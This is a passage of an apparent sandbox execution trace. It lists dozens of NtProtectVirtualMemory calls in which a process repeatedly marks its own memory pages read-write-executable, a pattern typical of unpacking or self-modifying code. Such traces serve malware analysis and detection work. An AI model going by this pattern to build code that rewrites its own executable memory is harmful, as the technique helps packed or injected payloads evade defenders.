returned 0x0 [0288.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.326] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0289.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, 